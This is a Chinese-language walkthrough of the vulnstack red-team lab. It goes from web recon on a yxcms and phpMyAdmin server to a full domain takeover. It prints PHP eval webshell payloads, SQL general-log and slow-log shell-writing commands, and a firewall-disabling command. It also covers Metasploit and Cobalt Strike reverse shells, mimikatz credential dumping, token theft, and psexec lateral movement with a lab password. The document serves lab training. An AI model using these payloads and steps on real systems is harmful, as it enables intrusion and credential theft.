介紹及環境搭建
靶機地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2
官方靶機說明:
紅隊實戰系列,主要以真實企業環境為例項搭建一系列靶場,通過練習、視訊教程、部落格三位一體學習。另外本次實戰完全模擬 ATT&CK 攻擊鏈路進行搭建,開成完整閉環。後續也會搭建真實 APT 實戰環境,從實戰中成長。虛擬機器所有統一密碼:hongrisec@2019
配置網路,網路配置如下:
可以選擇kali主機和web伺服器(WIN7)直接開啟NAT,但是也用不到,除非CS搭建在了自己的VPS上。我就是搭建在自己的VPS上,所以web伺服器和kali主機是可以開啟NAT訪問外網的;
網路架構:
虛擬機器環境:
kali(攻擊機)以及三臺伺服器的配置:
開機這樣:
需要先開啟phpstudy:
注意win7的雙網路卡設定,並ping內網
win7雙網路卡,並且都可以ping通kali主機,且注意可以ping通內網,因為正常情況下DMZ區可以訪問外網;
滲透web伺服器流程
先發現主機:netdiscover -i eth0 -r 192.168.52.0/24
發現143主機之後,對其進行埠探測:
nmap -T4 -A -v -Pn IP
最常用的一種掃描
T4 設定時序,越高掃描越快
A 啟用作業系統檢測,版本檢測,指令碼掃描和跟蹤路由
v 增加詳細級別(使用-vv或更高階別以獲得更好的效果)
Pn 無ping掃描
開放了80,3306這兩個重要的埠
訪問80埠,看到絕對路徑,這個可是對後期滲透很有用的
** 絕對路徑 C:/phpStudy/WWW
最下面檢測mysql連線:root,root可以連線**
埠檢測完成,到掃描目錄步驟:
常規掃描只有phpmyadmin,這個字典不太行,直接用御劍的;
訪問beifen.rar將檔案下載,檢視
robots.txt檔案顯示yxcms,訪問
前臺洩露了賬號,密碼,登入後發現有如下重要功能
可以嘗試SQL寫入shell,上傳shell
首頁的留言本可以實現儲存型xss,盜取管理員cookie,誘導點選連結等。
檢視此處的前臺模板,可以自己新增模板,因為有原始碼備份檔案,去查詢default檔案位置
可以確定寫入模板位置位於:
192.168.52.143/yxcms/protected/apps/default/view/default/dudu.php
寫入之後拿蟻劍連線
直接上傳寫shell,可以連線
這裡我打算嘗試一波目錄遍歷寫入shell,不知是否可行
此處我上傳成功了,並且蟻劍連線成功。但是前臺沒有顯示../../../../../dudu2.php
此處的碎片刪除介面,可以進行dnslog帶外注入
具體分析檢視:https://www.freebuf.com/column/162886.html
之前的phpmyadmin可以登入,嘗試SQL寫入shell
嘗試執行SQL語句寫入shell,寫入shell的幾個條件:
資料庫此刻為root許可權或者擁有File許可權
知道網站絕對路徑
PHP的GPC引數為關閉狀態
Mysql中的secure_file_priv引數不能為Null狀態
secure-file-priv特性:
secure-file-priv引數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄
當secure_file_priv的值為null ,表示限制mysql 不允許匯入|匯出
當secure_file_priv的值為/tmp/ ,表示限制mysql 的匯入|匯出只能發生在/tmp/目錄下
當secure_file_priv的值沒有具體值時,表示不對mysql 的匯入|匯出做限制
可以在mysql-ini檔案中設定其屬性
這裡值是NULL,直接into outfile寫不了shell
如果想通過into寫入檔案,修改value的值: windows下修改配置檔案:mysql.ini linux修改配置檔案:my.cnf select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'# select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'# 區別在於使用outfile時,檔案中一行的末尾會自動換行
這裡直接寫shell不行,可以在SQL中開啟日誌記錄,因為phpmyadmin洩露了絕對路徑,然後指定位置寫入shell
這裡開啟全域性日誌記錄:
檢視當前的日誌記錄:
指定日誌檔案存放於哪個目錄,方便連線操作
寫入shell,連線密碼dudu3
蟻劍去連線:
剛開始去連線,沒連上,以為SQL命令不合適,重複執行了一遍;
又去phpstudy檢視效果,在www目錄下,我連線是寫的cms目錄下,人傻了
還有一種方法利用慢日誌寫shell
一般都是通過long_query_time選項來設定這個時間值的,時間以秒為單位,可以精確到微妙。如果查詢時間
超過了這個時間值,這個查詢語句將會被記錄到慢查詢日誌中;
檢視伺服器預設時間值方式:
show global variables like '%long_query_time%';
開啟慢查詢(關閉引數為0):
set global slow_query_log=1;
檢視結果:
show global variables like '%slow%'; # 是否slow_query_log為ON
修改slow_query_log_file日誌檔案的絕對路徑和檔名
set global slow_query_log_file='c:\\phpstudy\\www\\yxcms\\dudu4.php';
最後進行查詢:
SELECT'<?php eval($_POST[dudu4]);?>' OR SLEEP(11);
執行最後一條語句需要注意:一般$_POST['']裡面的內容會加引號,這裡寫入時不能加引號,否則語句執行不成功
去蟻劍連線就行,密碼dudu4
前滲透基本結束,4種拿shell方式;
後滲透流程
我本來想直接利用公網VPS的CS伺服器,在自己本機實現上線,但是還要牽扯代理,隧道諸多複雜事項,這個
靶機的初衷是web伺服器置於外網,這樣屬於多層網路架構,可能無法拿下。只能利用kali主機的MSF,然後將CS
伺服器起到ubuntu,然後win7電腦客戶端實現上線;
然後給unbuntu和win7安裝CS伺服器和客戶端,,,過程省略。。。
CS伺服器
CS客戶端
然後選擇監聽器唄,用蟻劍上傳CS生成的木馬
這裡生成木馬,拿蟻劍連線最好先去蟻劍關閉防火牆;
蟻劍終端執行:netsh advfirewall set allprofiles state off
一直不上線,,,兩邊的防火牆也都關了
搞了好久,發現是監聽器設定錯了,沒有設定為自己伺服器的地址,設定CS客戶端的地址;
蟻劍執行上傳的exe就行,防火牆之前關閉了,這裡執行完就能上線主機
後滲透正式開始
先將這臺主機的sleep設定為0,因為是靶機,正常環境不能太快;
對這臺主機進行資訊收集;
這裡仔細分析一下,224為外網段,52為內網段,win環境中,DNS伺服器一般是和DC繫結的,之前部署時需要繫結設定;所以52.138初步判斷為域控的ip地址,繼續資訊收集;
對主機基本資訊收集
查詢作業系統及軟體資訊
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系統
systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" #中文系統
檢視系統體系結構
echo %PROCESSOR_ARCHITECTURE%
PowerShell收集軟體的版本資訊
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
檢視當前許可權
whoami && whoami /priv
查詢本機服務資訊
wmic service list brief
檢視安裝的軟體的版本、路徑等
wmic product get name, version
查詢程式資訊
wmic process list brief
檢視啟動程式資訊
wmic startup get command,caption
然後檢視一下是否存在常見的防毒軟體程式,,,
命令很多,寫個筆記,用的時候順著往下敲,就知道了
這裡就去定位域了,之前已經初步判斷了存在域
前面判斷了存在域,且DNS域名為god.org
然後我判斷域使用者角色和時間定位域的時候,出現錯誤提示5,這種情況說明此賬戶不是域使用者,許可權不夠;(此處花費我很久時間去排查原因,最後發現是NAT網路原因,nslookup域名的時候也會出到外網,最後重新設定了一下win7主機的網路卡才行)
然後檢視主域資訊以及時間伺服器;
systeminfo檢視了所在域環境和補丁情況
查詢當前的登入域與使用者資訊
這個時候域資訊基本清楚,就得定位域控了;因為之前發現ipconfig/all發現了dns伺服器地址,就不在nslookup去解析了
檢視域內的使用者
獲取域內使用者的詳細資訊:wmic useraccount get /all
檢視所有域成員計算機列表:net group "domain computers" /domain
檢視域管理員的使用者組:net group "domain admins" /domain
查詢域系統管理員使用者組:net group "Enterprise admins" /domain
檢視域控制器:net group "domain controllers" /domain
獲取域密碼資訊:net accounts /domain
基本域資訊探測完畢,初步對域內主機賬戶有了初步瞭解,接下來就是提權,橫向;
方法一:
·這裡可以將MSF生成的馬用蟻劍上傳至WIN7伺服器,而後執行
·反彈個shell給MSF(如果是powershell執行記得,修改策略,set-execut ionpolicy unrestricted)
·之前收集過systeminfo,這裡使用第三方工具Windows-Exploit-Suggester去檢測可以用漏洞;
(下載地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester)
·在win7上systeminfo>win7.txt生成,而後去kali中利用
·存在MS16-014,MSF進行提權,nt authrity\system
·在win7主機上配置靜態路由,run autoroute -s 192.168.52.0/24
·MSF自帶掃描埠模組,auxiliary/scanner/portscan/tcp set rhosts(掃描的主機) 掃描的埠(80,445,3389)
·使用ms17-010 comand模組進行執行命令
·這裡把shell反彈給cs,cs直接上線system許可權,無需提權
·抓Hash密碼,再掃描內網段
·新增SMB會話,psexec拿域控的shell
·beacon開啟3389之後,就回到kali裡面配置socks4a的代理,vi etc/proxychains.conf 新增socks4 x.x.x.x(MSF地址)port
·proxychains nc -v DCip 3389 proxychains redesktop DCip 3389 至此MSF結合CS,拿下整個域控過程完結
方法二:
獲取了一個CS的beacon後可以目標內網情況和埠開放:
在beacon上右鍵->目標->選擇net view或者port scan:
執行後在Targets選項卡看到掃描的主機:
這個時候去用CS的hashdump去讀記憶體密碼,用mimakatz讀登錄檔密碼:logonpasswords
許可權不夠可以先去提權,外掛Elevatekit
抓取密碼後探測內網其他主機:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
這條命令是不需要進行免殺的,是系統命令
這裡還有k8大神的工具ladon,內容豐富,掃描快
主要介紹SMB beacon,CS派生SMB beacon
SMB beacon通過命名管道通過父級Beacon進行通訊,當兩個Beacons連結後,子beacon從父beacon獲取到任務併傳送。因為連結的Beacons使用windows命名管道進行通訊,此流量封裝於SMB協議中,所以SMB beacon相對隱蔽,繞過防火牆會有奇效
第一種是在已經有的beacon上建立監聽,用來作為跳板內網穿透,前提是通過shell訪問其他內網主機,也就是獲取DC的方法一
第二種就是直接派生一個孩子,目的為了進一步盜取內網主機的hash
新建一個listener,payload設定為Beacon SMB:
在已有的beacon上右鍵spawn生成會話,進行派生
選擇建立的smb beacon的listener:選擇後會反彈一個子會話,在external的ip後面會有一個連線圖示
派生的SMB當前沒有連線,可以在主beacon上連線它 link host
psexec使用憑證來登入其他主機
橫向已經探測到了獲取內網的其他Targets以及讀取到的憑證資訊
可以利用psexec模組登入其他主機
右鍵選擇非域控主機(OWA)的psexec模組:
選擇後,結果圖
分別執行了
rev2self
make_token GOD.ORG\Administrator hongrisec@2021
jump psexec OWA SMB
最後依次得到了三臺內網主機的system許可權,圖示試圖:
這裡還可以使用Token竊取
竊取token,然後再psexec,選擇使用token
基本整個靶場就結束了,耗時三天;大概邊做邊記錄了,排版什麼的也沒有注意,內網這塊兒還是比較菜的,參考了很多文章,才磕磕碰碰結束
7月份就去實習了,投的北京的四家崗位,某宇沒有面試過,還有一個甲方面過了但是因為學校7月離校,遺憾的通知我說已經沒有編制了,不過也好在拿到了心儀公司的實習offer,因為明年畢業,5輪面試的是春招崗位,但是隻能拿實習的offer了